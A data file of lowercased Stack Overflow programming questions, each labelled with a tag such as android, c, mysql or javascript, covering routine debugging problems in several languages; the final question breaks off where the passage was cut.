neo.applicationframework  the name ... does not exist in the current context   i m dabbling in c# to write some scripts in what is otherwise a graphical machine interface programming environment (beijer s ix developer). the hmi is monitoring  tags  (variables) in a plc (programmable logic controller).    when tag controller1_m18 turns on i want to print a report and then reset the tag. this code i m putting in the tags script module is giving me error  the name  printreport  does not exist in the current context . can anyone give me guidance in fixing it    <pre><code>namespace neo.applicationframework.generated {     using system.windows.forms;     using system;     using system.drawing;     using neo.applicationframework.tools;     using neo.applicationframework.common.graphics.logic;     using neo.applicationframework.controls;     using neo.applicationframework.interfaces;     using neo.applicationframework.tools.reporting;      public partial class report_functions     {         void controller1_m18_valueon(system.object sender  neo.applicationframework.interfaces.events.valuechangedeventargs e)         {             // print the report.             printreport( batchreport1 );             // reset the tag.             globals.tags.controller1_m18.resettag();         }     } } </code></pre>   the sparse scripting help file gives the information   <pre><code>namespace: neo.applicationframework.tools.reporting assembly: toolscf (in toolscf.dll) version: 2.15.5714.0  syntax public void printreport(     string reportname ) </code></pre>   toolscf.dll is present in the application folder along with all the others.,c#
rails. undefined method `name  for [ category1   1]:array  i am still not very clear about loops  but this time its even more confusing.     i have <strong>product</strong> and <strong>category</strong> models and relations between them <strong>:has_many</strong> and <strong>:belongs_to</strong>.    in my apps navbar i have a dropdown to show categories:   <pre><code>&lt;% @categories.each do |cat| %&gt;     &lt;li&gt;&lt;%= link_to cat.name  cat %&gt;&lt;/li&gt;  &lt;% end %&gt; </code></pre>   (i will move this loop to partial later)    it was working fine  but now i noticed that if i try to use this link <code>&lt;%= link_to  new product   new_product_path %&gt;</code> it throws me that error of undefined method  name ... i can t even understand why this link triggers this peace of code:    <a href= https://i.stack.imgur.com/w2eyb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/w2eyb.png  alt= enter image description here ></a>    <strong>products_controller.rb</strong>:   <pre><code>  def new     @product = product.new     @categories = category.all.map { |c| [ c.name  c.id ] }   end </code></pre>   <strong>shema.rb</strong>:   <pre><code>  create_table  categories   force: :cascade do |t|     t.string    name      t.text      desc      t.datetime  created_at   null: false     t.datetime  updated_at   null: false   end </code></pre>,ruby-on-rails
i am getting this following errror in my website  validation of viewstate mac failed. if this application is hosted by a web farm or cluster  ensure that  configuration specifies the same validationkey and validation algorithm. autogenerate cannot be used in a cluster.,asp.net
avaudiorecorder pcm format  i use the avaudiorecorder to write a apps for recording the sound. in the audio setting  i change the input signal as a pcm format.   <pre><code>nsmutabledictionary* recordsetting = [[nsmutabledictionary alloc] init]; [recordsetting setvalue :[nsnumber numberwithint:32] forkey:avlinearpcmbitdepthkey]; [recordsetting setvalue:[nsnumber numberwithbool:no] forkey:avlinearpcmisbigendiankey];  [recordsetting setvalue:[nsnumber numberwithbool:no] forkey:avlinearpcmisfloatkey]; </code></pre>   i want to extract the pcm  how can i do it,objective-c
mysql : changing root password  i mistakenly keyed in   <pre><code>&lt;delete from mysql.user where password =  &gt; </code></pre>   unfortunately the password for user is   .    when i try to use mysqladmin i am getting message that i cannot set password for    <pre><code>&lt;root @ localhost&gt; </code></pre>   any ideas       many thanks,mysql
getter seg fault  i have make simple getter who return seg fault and i don t kwow where is the problem :    there is a class  game  who containt two players and one tray:   <pre><code>&gt; #ifndef partie_h &gt; #define partie_h &gt;  &gt; #include &lt;string&gt; &gt; #include &lt;iostream&gt; &gt;  &gt; class partie { &gt;     class joueur * joueur1; &gt;     class joueur * joueur2; &gt;     class plateau * jeu; &gt;  &gt; public: &gt;     partie(); &gt;     void initialize(std::string nomj1  std::string nomj2  int tailleplateau); &gt;     int info(); &gt;     ~partie(); &gt;  &gt; }; &gt;  &gt; #endif // partie_h </code></pre>   the .cpp :   <pre><code>&gt; #include  partie.h  &gt; #include  joueur.h  &gt; #include  plateau.h  &gt; #include &lt;string&gt; &gt; #include &lt;iostream&gt; &gt;  &gt; partie::partie() { &gt;     plateau * jeu = new plateau(0); &gt;     joueur * joueur1 = new joueur( test   1); &gt;     joueur * joueur2 = new joueur( test2   2); &gt;  &gt; } &gt;  &gt; void partie::initialize(std::string nomj1  std::string nomj2  int &gt; tailleplateau) { &gt;     plateau * jeu = new plateau(tailleplateau); &gt;     joueur * joueur1 = new joueur(nomj1  1); &gt;     joueur * joueur2 = new joueur(nomj2  2); } &gt;  &gt; int partie::info() {   return joueur1-&gt;getidentifiant(); &gt;  &gt; } &gt;  &gt;  &gt; partie::~partie() { &gt;  &gt; } </code></pre>   the class player :   <pre><code>&gt; #ifndef joueur_h &gt; #define joueur_h &gt; #include &lt;string&gt; &gt; #include &lt;iostream&gt; &gt;  &gt; class joueur { &gt;     std::string nom; &gt;     int identifiant; &gt;  &gt; public: &gt;     joueur(); &gt;     joueur(std::string name  int num); &gt;     std::string getname(); &gt;     int getidentifiant(); }; &gt;  &gt; #endif // joueur_h </code></pre>   the .cpp    <pre><code>&gt; #include  joueur.h  &gt; #include &lt;string&gt; &gt; #include &lt;iostream&gt; &gt;  &gt; joueur::joueur() { &gt;     this-&gt;nom= default ; &gt;     this-&gt;identifiant=0; } &gt;  &gt; joueur::joueur(std::string name  int num) { &gt;     this-&gt;nom=name; &gt;     this-&gt;identifiant=num; } &gt;  &gt; int joueur::getidentifiant() { &gt;     return identifiant; } &gt;  &gt; std::string joueur::getname() { &gt;     return nom; } </code></pre>   anyone see an error   thank you for help,c++
my application  immediately after running on emulator terminated  i wanted to test a code which is in a post in stackoverflow  but when i run this code on emulator  after a while  the application is terminated and android give me  unfortunately myreceiver01 has stopped . please help me. thanks.    socketserver.java :   <pre><code>package amiref.project.network;  import android.os.*; import android.app.*; import java.io.*; import java.net.*; import android.view.*; import android.widget.*; import android.util.*; import android.view.view.*;   public class socketserver extends activity {     serversocket ss = null;     string mclientmsg =   ;     thread mycommsthread = null;     protected static final int msg_id = 0x1337;     public static final int serverport = 6000;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);         textview tv = (textview) findviewbyid(r.id.textview01);         tv.settext( nothing from client yet );         this.mycommsthread = new thread(new commsthread());         this.mycommsthread.start();     }      @override     protected void onstop() {         super.onstop();         try {             // make sure you close the socket upon exiting             ss.close();         } catch (ioexception e) {             e.printstacktrace();         }     }      handler myupdatehandler = new handler() {         public void handlemessage(message msg) {             switch (msg.what) {                 case msg_id:                     textview tv = (textview) findviewbyid(r.id.textview01);                     tv.settext(mclientmsg);                     break;                 default:                     break;             }             super.handlemessage(msg);         }     };     class commsthread implements runnable {         public void run() {             socket s = null;             try {                 ss = new serversocket(serverport );             } catch (ioexception e) {                 e.printstacktrace();             }             while (!thread.currentthread().isinterrupted()) {                 message m = new message();                 m.what = msg_id;                 try {                     if (s == null)                         s = ss.accept();                     bufferedreader input = new bufferedreader(                             new inputstreamreader(s.getinputstream()));                     string st = null;                     st = input.readline();                     mclientmsg = st;                     myupdatehandler.sendmessage(m);                 } catch (ioexception e) {                     e.printstacktrace();                 }             }         }     } } </code></pre>   my manifest :   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= amiref.project.network      android:versioncode= 1      android:versionname= 1.0  &gt;      &lt;uses-sdk         android:minsdkversion= 7          android:targetsdkversion= 16  /&gt;      &lt;application         android:allowbackup= true          android:icon= @drawable/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;activity             android:name= amiref.project.network.socketserver              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;     &lt;/application&gt;  &lt;/manifest&gt; </code></pre>   log cat :   <pre><code>06-27 21:32:14.008      37-2170/                               e/surfaceflinger: ro.sf.lcd_density must be defined as a build property 06-27 21:32:14.478    2208-2208/                               e/trace: error opening trace file: no such file or directory (2) 06-27 21:32:14.918      629-629/                               e/activitythread: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cf59d0 that was originally bound here         android.app.serviceconnectionleaked: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cf59d0 that was originally bound here         at android.app.loadedapk$servicedispatcher.&lt;init&gt;(loadedapk.java:969)         at android.app.loadedapk.getservicedispatcher(loadedapk.java:863)         at android.app.contextimpl.bindservice(contextimpl.java:1418)         at android.app.contextimpl.bindservice(contextimpl.java:1407)         at android.content.contextwrapper.bindservice(contextwrapper.java:473)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:157)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:145)         at com.android.emailcommon.service.serviceproxy.test(serviceproxy.java:191)         at com.android.exchange.exchangeservice$7.run(exchangeservice.java:1850)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:551)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:549)         at android.os.asynctask$2.call(asynctask.java:287)         at java.util.concurrent.futuretask.run(futuretask.java:234)         at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1080)         at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:573)         at java.lang.thread.run(thread.java:856) 06-27 21:32:15.068    2208-2221/                               e/androidruntime: fatal exception: thread-150         java.lang.nullpointerexception         at amiref.project.network.socketserver$commsthread.run(socketserver.java:67)         at java.lang.thread.run(thread.java:856) 06-27 21:32:15.318      629-629/                               e/strictmode: null         android.app.serviceconnectionleaked: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cf59d0 that was originally bound here         at android.app.loadedapk$servicedispatcher.&lt;init&gt;(loadedapk.java:969)         at android.app.loadedapk.getservicedispatcher(loadedapk.java:863)         at android.app.contextimpl.bindservice(contextimpl.java:1418)         at android.app.contextimpl.bindservice(contextimpl.java:1407)         at android.content.contextwrapper.bindservice(contextwrapper.java:473)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:157)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:145)         at com.android.emailcommon.service.serviceproxy.test(serviceproxy.java:191)         at com.android.exchange.exchangeservice$7.run(exchangeservice.java:1850)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:551)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:549)         at android.os.asynctask$2.call(asynctask.java:287)         at java.util.concurrent.futuretask.run(futuretask.java:234)         at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1080)         at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:573)         at java.lang.thread.run(thread.java:856) 06-27 21:32:15.428        37-87/                               e/surfaceflinger: ro.sf.lcd_density must be defined as a build property 06-27 21:32:16.149        37-87/                               e/surfaceflinger: ro.sf.lcd_density must be defined as a build property 06-27 21:32:16.487        37-87/                               e/surfaceflinger: ro.sf.lcd_density must be defined as a build property 06-27 21:32:16.818      629-629/                               e/activitythread: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cd9588 that was originally bound here         android.app.serviceconnectionleaked: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cd9588 that was originally bound here         at android.app.loadedapk$servicedispatcher.&lt;init&gt;(loadedapk.java:969)         at android.app.loadedapk.getservicedispatcher(loadedapk.java:863)         at android.app.contextimpl.bindservice(contextimpl.java:1418)         at android.app.contextimpl.bindservice(contextimpl.java:1407)         at android.content.contextwrapper.bindservice(contextwrapper.java:473)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:157)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:145)         at com.android.emailcommon.service.accountserviceproxy.getdeviceid(accountserviceproxy.java:116)         at com.android.exchange.exchangeservice.getdeviceid(exchangeservice.java:1249)         at com.android.exchange.exchangeservice$7.run(exchangeservice.java:1856)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:551)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:549)         at android.os.asynctask$2.call(asynctask.java:287)         at java.util.concurrent.futuretask.run(futuretask.java:234)         at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1080)         at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:573)         at java.lang.thread.run(thread.java:856) 06-27 21:32:16.838      629-629/                               e/strictmode: null         android.app.serviceconnectionleaked: service com.android.exchange.exchangeservice has leaked serviceconnection com.android.emailcommon.service.serviceproxy$proxyconnection@40cd9588 that was originally bound here         at android.app.loadedapk$servicedispatcher.&lt;init&gt;(loadedapk.java:969)         at android.app.loadedapk.getservicedispatcher(loadedapk.java:863)         at android.app.contextimpl.bindservice(contextimpl.java:1418)         at android.app.contextimpl.bindservice(contextimpl.java:1407)         at android.content.contextwrapper.bindservice(contextwrapper.java:473)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:157)         at com.android.emailcommon.service.serviceproxy.settask(serviceproxy.java:145)         at com.android.emailcommon.service.accountserviceproxy.getdeviceid(accountserviceproxy.java:116)         at com.android.exchange.exchangeservice.getdeviceid(exchangeservice.java:1249)         at com.android.exchange.exchangeservice$7.run(exchangeservice.java:1856)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:551)         at com.android.emailcommon.utility.utility$2.doinbackground(utility.java:549)         at android.os.asynctask$2.call(asynctask.java:287)         at java.util.concurrent.futuretask.run(futuretask.java:234)         at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1080)         at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:573)         at java.lang.thread.run(thread.java:856) </code></pre>,android
predefined function for minimum <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/844990/is-there-a-convenient-function-in-objective-c-coca-touch-to-find-a-lowest-numbe >is there a convenient function in objective-c / coca-touch to find a lowest number </a>    </blockquote>    <pre><code>#import &lt;foundation/foundation.h&gt;  int main (int argc  const char * argv[]) {     nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];      int a=10 b=5 c;     c=min(a b);     nslog(@ min:%d  c);      [pool drain];     return 0; } </code></pre>   i have to calculate the minimum value of two numbers. we can use if(a>b) to find out the minimum value.but is there any predefined function to calculate the minimum of two numbers.,objective-c
when in rails irb  how to traverse to beginning/end of line   when in rails irb  how to traverse to beginning/end of line     is it possible to fire up  irb  and have it automatically require some libs,ruby-on-rails
error in inflating a layout into alertdialog (android) <pre><code>public void popinstructionsdialog(string title  string text  string buttontext  activity activity){      alertdialog.builder builder;     alertdialog alertdialog;      context mcontext = activity.getapplicationcontext();     layoutinflater inflater = (layoutinflater) mcontext.getsystemservice(context.layout_inflater_service);     view layout = inflater.inflate(r.layout.instructions  (viewgroup) activity.findviewbyid(r.id.layout_root));      textview text1 = (textview) layout.findviewbyid(r.id.text);     text1.settext( hello  this is a custom dialog! );     imageview image = (imageview) layout.findviewbyid(r.id.image);     image.setimageresource(r.drawable.icon);      builder = new alertdialog.builder(mcontext);     builder.setview(layout);     alertdialog = builder.create();      alertdialog.show(); } </code></pre>   i get the following error   <pre><code>06-01 10:59:20.908: error/androidruntime(664): fatal exception: main 06-01 10:59:20.908: error/androidruntime(664): android.view.windowmanager$badtokenexception: unable to add window -- token null is not for an application 06-01 10:59:20.908: error/androidruntime(664):     at android.view.viewroot.setview(viewroot.java:531) 06-01 10:59:20.908: error/androidruntime(664):     at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:177) 06-01 10:59:20.908: error/androidruntime(664):     at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:91) 06-01 10:59:20.908: error/androidruntime(664):     at android.app.dialog.show(dialog.java:241) 06-01 10:59:20.908: error/androidruntime(664):     at hiit.nopsa.pirate.instructiondialog.popinstructionsdialog(instructiondialog.java:34) </code></pre>   instructiondialog.java:34 is the last line of code which is  alertdialog.show() . can any one suggest me how to correct this. and following is the instructions.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android                android:id= @+id/layout_root                android:orientation= horizontal                android:layout_width= fill_parent                android:layout_height= fill_parent                android:padding= 10dp                &gt;     &lt;textview android:id= @+id/title                android:layout_width= wrap_content                android:layout_height= fill_parent                android:textcolor= #fff                /&gt;     &lt;imageview android:id= @+id/image                 android:layout_width= wrap_content                 android:layout_height= fill_parent                 android:layout_marginright= 10dp                 /&gt;     &lt;textview android:id= @+id/text                android:layout_width= wrap_content                android:layout_height= fill_parent                android:textcolor= #fff                /&gt; &lt;/linearlayout&gt; </code></pre>,android
jquery:keep unique items in table row with minimum price   in this bellow table  we can see two items tv and car with two different prices. i want display both two items with their minimum price without repeating duplicate items.     sample table:   <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;th&gt;items&lt;/th&gt;     &lt;th&gt;price&lt;/th&gt;   &lt;/tr&gt;    &lt;tr&gt;     &lt;td&gt;tv&lt;/td&gt;     &lt;td&gt;10000&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;     &lt;td&gt;tv&lt;/td&gt;     &lt;td&gt;15000&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;     &lt;td&gt;car&lt;/td&gt;     &lt;td&gt;750000&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;     &lt;td&gt;car&lt;/td&gt;     &lt;td&gt;450000&lt;/td&gt;   &lt;/tr&gt;    &lt;/table&gt; </code></pre>   target table:   <pre><code>    &lt;table&gt;         &lt;tr&gt;             &lt;th&gt;items&lt;/th&gt;             &lt;th&gt;price&lt;/th&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;tv&lt;/td&gt;             &lt;td&gt;10000&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;car&lt;/td&gt;             &lt;td&gt;450000&lt;/td&gt;         &lt;/tr&gt;        &lt;/table&gt; </code></pre>,jquery
changing the title of the back button in objective-c  this may be a silly question  but how would i go about changing the  back  button of the navigation controller to simply say  back  every time i push to a different viewcontroller     for example  if i m going from the master to the detail then it will have:  &lt; master  as the back button text. can i change it easily to  &lt; back  without messing around too much  (it s just i have quite a few segues going and if i have to replace the button manually i m probably going to screw up something else...)    all help is appreciated. thanks :),objective-c
is it possible for a notification to increment the badge count rather than set it to an absolute value   i m queueing local notifications and setting the badge count to 1.    if i queue a few then exit the app then when they trigger each one of them sets the badge count to 1  rather than incrementing it. i.e. suppose i queue 3 then after all of them fire the badge count on the app will show as 1.    is there a way that the badge count can increment by one when each fires     examining applicationiconbadgenumber when the notification is set is not an option - because consider a scenario like this:    app schedules notification a for 1 minutes  current badge count is 0  so notification.count = 1    app schedules notification b for 10 minutes  last badge count is 1  so notification.count = 2    app schedules notification c for 5 minutes  last badge count is 2  so notification.count = 3    but notification c fires before b  so when it fires the badge count would be set to 3 which is incorrect  then when b fires the count goes to 2 which is also incorrect.    if there s no automatic way of incrementing the count then the app would have to implement a complicated scheme where it remembers everything its queued and the time of each. is there a simple way,ios
error when get data using regex in php  i have an string:   <pre><code>$text =array(); $text[0] =  microsoft windows phone 7.5 mango ; $text[1] =  microsoft windows phone 7 ;   for($i=0; $i&lt;2; $i++){     preg_match_all( /(microsoft windows)&lt;\/i&gt;\s*(.*)/   $text[$i]  $value) ;     print_r($value); } </code></pre>   when i print_r($value) is result is array() array()  how to fix it,php
strange binding/validation behaviour when binding select list to booleans  can anybody explain me the following strange binding/validation behaviour when binding a select list to boolean values     selecting  yes  (true) works as expected. selecting  no  (false) obviously does not:    <strong>jsfiddle:</strong> <a href= http://jsfiddle.net/mhu23/atrqg/14/  rel= nofollow >http://jsfiddle.net/mhu23/atrqg/14/</a>   <pre><code>$scope.truefalseoptions = [{     value: true      label:  yes  }  {     value: false      label:  no  }];  &lt;select name= parameter  required ng-model= mymodel  ng-options= x.value as x.label for x in truefalseoptions &gt;&lt;/select&gt; </code></pre>   am i doing something wrong  i would like to be able to select  yes  or  no  from a dropdown list. the values of the option items should be true or false (boolean  not string).    thanks for your help!,angularjs
calculate duration in sec of wave pcm file with it size  i want to calculate duration of wave pcm file in sec with c# i found this <a href= https://ccrma.stanford.edu/courses/422/projects/waveformat/  rel= nofollow >https://ccrma.stanford.edu/courses/422/projects/waveformat/</a> link that describe wave file header i use this but this method will not return correct answer   <pre><code>public static int getduration(this byte[] wavefile) {      int bitrate = bitconverter.toint32(wavefile  28) * 8;      int samplerate = bitconverter.toint32(wavefile  24);      int headersize = 36;      short channels = bitconverter.toint16(wavefile  22);      return ((wavefile.length - headersize) / (samplerate * (bitrate / 8))) / channels; } </code></pre>,c#
radio button doesn t come up from js file  the issue is the radio button didn t come up. and i am confused with the concept of create node  create node text  create node value  createelement  etc. those kind of concepts.    here is my code  <a href= http://jsfiddle.net/vadjn2an/  rel= nofollow >http://jsfiddle.net/vadjn2an/</a>     here is my function     <pre><code>function displayquestion() {     var question = document.getelementbyid( question );     question.textcontent = questionpool[currentquestion].question;     var numberofchoices = questionpool[currentquestion].choices.length;     for(var i=0; i &lt; numberofchoices; i++) {         var label = document.createelement( label );         var radio = document.createelement( input );         radio.setattribute( type    radio );         radio.setattribute( name    choice );         radio.setattribute( value    questionpool[currentquestion].choices[i] );         label.appendchild(radio);          question.appendchild(label);         label.innerhtml = questionpool[currentquestion].choices[i] +  &lt;br&gt; ;     } </code></pre>   thanks for your help in advance,javascript
a stage or a window   why are gui-windows called  stage  and not  window       do they have anything in common       trying to understand from this site:  <a href= https://docs.oracle.com/javase/8/javafx/api/javafx/stage/stage.html  rel= nofollow >https://docs.oracle.com/javase/8/javafx/api/javafx/stage/stage.html</a>    appreciate your help  folks!,java
swipe up in ios  i would like to develop a swipe up navigation just like     1) the camera button swipe up in the locked iphone home screen    2) the top-to-bottom page swipe which shows weather details in iphone screen.    example: <a href= http://i.stack.imgur.com/bauj8.jpg  rel= nofollow >http://i.stack.imgur.com/bauj8.jpg</a>    i tried different page gestures etc  but no luck.    could anyone pls let me know the approach or any sample tutorial      much appreciated.    thanks prakash,ios
use of coalesce function when no rows returned  <a href= https://groups.google.com/d/msg/comp.databases.theory/gphu01jz4h0/ypve4dobujqj  rel= nofollow >here s a post that uses the following statement</a>:   <pre><code>create function validateexclvehicle_check (  @vin           char(17)   @vehicle_type  char(3) ) returns tinyint as -- exists     = 1 -- not exists = null  0 substituted return (  select coalesce(1  0)  from  vehicle  where vin          = @vin  and   vehicle_type = @vehicle_type  ) </code></pre>   i don t understand why the expression coalesce(1 0) would ever return anything other than 1  except when the where clause returns no rows  in which case the whole statement returns no rows and the value of the coalesce expression is irrelevant. i don t see the  0 substituted .    is there something going on that i m missing,sql
select data from one table by two fields  structure of my table is   <pre><code>item_id (int) category_id (int) </code></pre>   here is some sample data:   <pre><code>╔═════════╦═════════════╗ ║ item_id ║ category_id ║ ╠═════════╬═════════════╣ ║    2    ║      4      ║ ║    2    ║      5      ║ ║    3    ║      5      ║ ║    6    ║      9      ║ ║    1    ║      2      ║ ║    4    ║      5      ║ ║    6    ║      3      ║ ║    4    ║      4      ║ ╚═════════╩═════════════╝ </code></pre>   i cant select one row by multiple select by second field.    for example  i need to select all rows that include category_id = 4 and 5,mysql
background image and banner image in asp.net webforms  i am trying to set background picture of my webform.  i put the jpeg into my application folder.  when i tried to access it  it does not show the jpg while physical folder shows the image there.  am i doing something wrong   please see the pic. and advise.    thanks<img src= https://i.stack.imgur.com/hcvfg.jpg  alt= enter image description here >,asp.net
the syntax and onitemselectedlistener args  i use eclipse  adt build:v21.1.0-569685  the case one is an sample code from website  but it cause the error  the type new adapterview.onitemselectedlistener(){} must implement the inherited abstract method adapterview.onitemselectedlistener.onnothingselected(adapterview)     so i have to use the case two  but sometimes the case one is ok  what happened  thanks!    <strong>case one</strong>   <pre><code>private void initspinner(){     arrayadapter&lt;string&gt; adapter1 = new arrayadapter&lt;string&gt;(this              android.r.layout.simple_spinner_item              namelist.toarray(new string[namelist.size()]));     adapter1.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);     spinnerfolder.setadapter(adapter1);      spinnerfolder.setonitemselectedlistener(new onitemselectedlistener() {          @override         public void onitemselected(adapterview&lt; &gt; parent  view view                  int position  long id) {             toast.maketext(mainactivity.this                       cw   2000).show();          }          @override         public void onnothingselected(adapterview&lt; &gt; parent) {             // todo auto-generated method stub          }     });  } </code></pre>   <strong>case two</strong>   <pre><code>private void initspinner(){     arrayadapter&lt;string&gt; adapter1 = new arrayadapter&lt;string&gt;(this              android.r.layout.simple_spinner_item              namelist.toarray(new string[namelist.size()]));     adapter1.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);     spinnerfolder.setadapter(adapter1);      spinnerfolder.setonitemselectedlistener(new onitemselectedlistener() {          @override         public void onitemselected(adapterview&lt; &gt; arg0  view arg1                  int arg2  long arg3) {             toast.maketext(mainactivity.this                       cw   2000).show();          }          @override         public void onnothingselected(adapterview&lt; &gt; arg0) {             // todo auto-generated method stub          }     });  } </code></pre>,android
create a dice chart  i am facing a problem right now and can t seem to solve it. whenever i start my code i get a segmentation fault. my aim is to roll two dice. the value is generated by a random number. i want to roll 10000 times and save the values within an array  so i can create a little chart at the end which will show the diced the values. i appreciate any help and hints on how to solve the problem. here is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt;  #define dice      2 #define diceeyes  (dice * 6) -dice +1 #define count     10000  int diceroll(int dice);  int main(void) {   srand(time(0));   int valuesofroll[diceeyes] = { 0 };   for(int i = 0; i &lt; count; i++)   {     int index = diceroll(dice) - dice;     valuesofroll[index]++;   }   for(int i = 0; i &lt; diceeyes; i++)   {     if(valuesofroll[i] &lt; 1) continue;     printf( the number %2d was rolled %4d times\r\n   i + dice  valuesofroll[i]);   }   return 0; }  int diceroll(int dice) {   int sum;   for(int i = 0; i &lt; dice; i++)   {     sum += rand() % 6 + 1;   }   return sum; } </code></pre>,c
how to call javascript function from server side  in my code im using script manager and tinymc...at the start it loads just fine   but when i click a btn as the page dosnt post back due to script manager and update panel....the result comes fine...but the tinymc editor does not load    i can only see textarea    and when i manually want to call javascript at the end of the code this error occurs..    microsoft jscript runtime error: sys.webforms.pagerequestmanagerparsererrorexception: the message received from the server could not be parsed. common causes for this error are when the response is modified by calls to response.write()  response filters  httpmodules  or server trace is enabled. details: error parsing near  alert( hello .    i need help how to solve this issue    thankyou,.net
find out signing signature of application that invoked my activity   if a third party developer invokes one of my activities  is there a way to get the signing signature of the process/application the activity is running in  for example  a third party app invokes one of my activities like so:   <pre><code>// thirdpartyactivity.java intent res = new intent(); string mpackage =  com.me.test ; string mclass =  .myactivity ; res.setcomponent(new componentname(mpackage mpackage+mclass)); startactivity(res); </code></pre>   now my activity gets created in their process space (as i understand). could i then somehow figure out what the signing signature is of the owning process :   <pre><code>// myactivity.java public void oncreate() {     string signingsignatureofprocessimrunningin = ...; } </code></pre>   i m basically looking to verify that a third party is who they say they are (i know their signing signature before-hand)     thanks,android
c programming for loop and counter  i m trying to make a program that calculates how many states you need to win. i have the main part of it done but now i m trying to make a for loop that basically checks if the sum of how many votes you have now plus the number of votes the state has is greater than 270  the number to win. after that i m trying to print that you will win if you win this state. at the end it will count and print out how many ways you can win. this what i have so far but it doesn t say  that name of that states when i call them  and it also doesn t give me a 1  2  or 3 number for how many ways you can win  just a large number that i m not storing.    can anyone help me    <pre><code>#include &lt;stdio.h&gt;  int main(void){      //initialize your variables     int current_votes  num_votes_1  num_votes_2  x;     char name_state_1  name_state_2;       //ask the user for the current number of electoral votes their candidate has     printf( how many electoral votes has your candidate won \n );     scanf( %d   &amp;current_votes);      //now ask for the first state in contention     printf( what is the name of the first state in contention \n );     scanf( %s   &amp;name_state_1);      //now ask hiw many electoral votes the first state has     printf( how many electoral votes does it have \n );     scanf( %d   &amp;num_votes_1);      //now ask for the second state in contention     printf( what s the name of the second state in contention \n );     scanf( %s   &amp;name_state_2);      //now ask how many electoral votes the second state has     printf( how many electoral votes does it have \n );     scanf( %d   &amp;num_votes_2);      //now here s the formula that checks to see if you win in each state     //and counts how many ways you can win     for(x = 0; x &lt; 3; x++) {         if(current_votes + num_votes_1 &gt;= 270);             printf( your candidate wins if he/she wins %s   &amp;name_state_1);             x++;         if(current_votes + num_votes_2 &gt;= 270);             printf( your candidate wins if he/she wins %s   &amp;name_state_2);             x++;         if(current_votes + num_votes_1 + num_votes_2 &gt;= 270);             printf( your candidate wins if he/she wins %s   &amp;name_state_1  &amp;name_state_2);             x++;      }     //now call to tell how many ways the candidate can win overall     printf( your candidate can win %d ways   &amp;x);     return 0;  } </code></pre>,c
passing callback function and parameters to a javascript function  i m pretty new to js.  i have a helper class that does some of the common fetching to the server.  currently  one of those functions would look like this:   <pre><code>getavailableplatforms: function (platform) {             var self = this;             if (_.isundefined(platform) || platform ==   ) {                 platform =  crystalproject ;             }              $.ajax({                 url:  /api/platform/  + platform                  datatype:  json                   contenttype:  application/json; charset=utf-8                   success: function (data) {                     console.log( got data );                     self.platforms = data;                     self.eventaggregator.trigger( getplatforms );                   }              });         } </code></pre>   so what i wanted to try to make this more flexible was to pass in the callback function.  so i tried this:   <pre><code>getavailableplatforms: function (platform  callback) {             var self = this;             if (_.isundefined(platform) || platform ==   ) {                 platform =  crystalproject ;             }              $.ajax({                 url:  /api/platform/  + platform                  datatype:  json                   contenttype:  application/json; charset=utf-8                   success: function (data) {                     console.log( got data );                     self.platforms = data;                     self.eventaggregator.trigger( getplatforms );                       if (callback &amp;&amp; typeof(callback) ===  function ) {                         callback(data);                     }                 }              });         } </code></pre>   how i want to call it though  is like this:   <pre><code>var helper = new helper(); helper.getavailableplatforms(    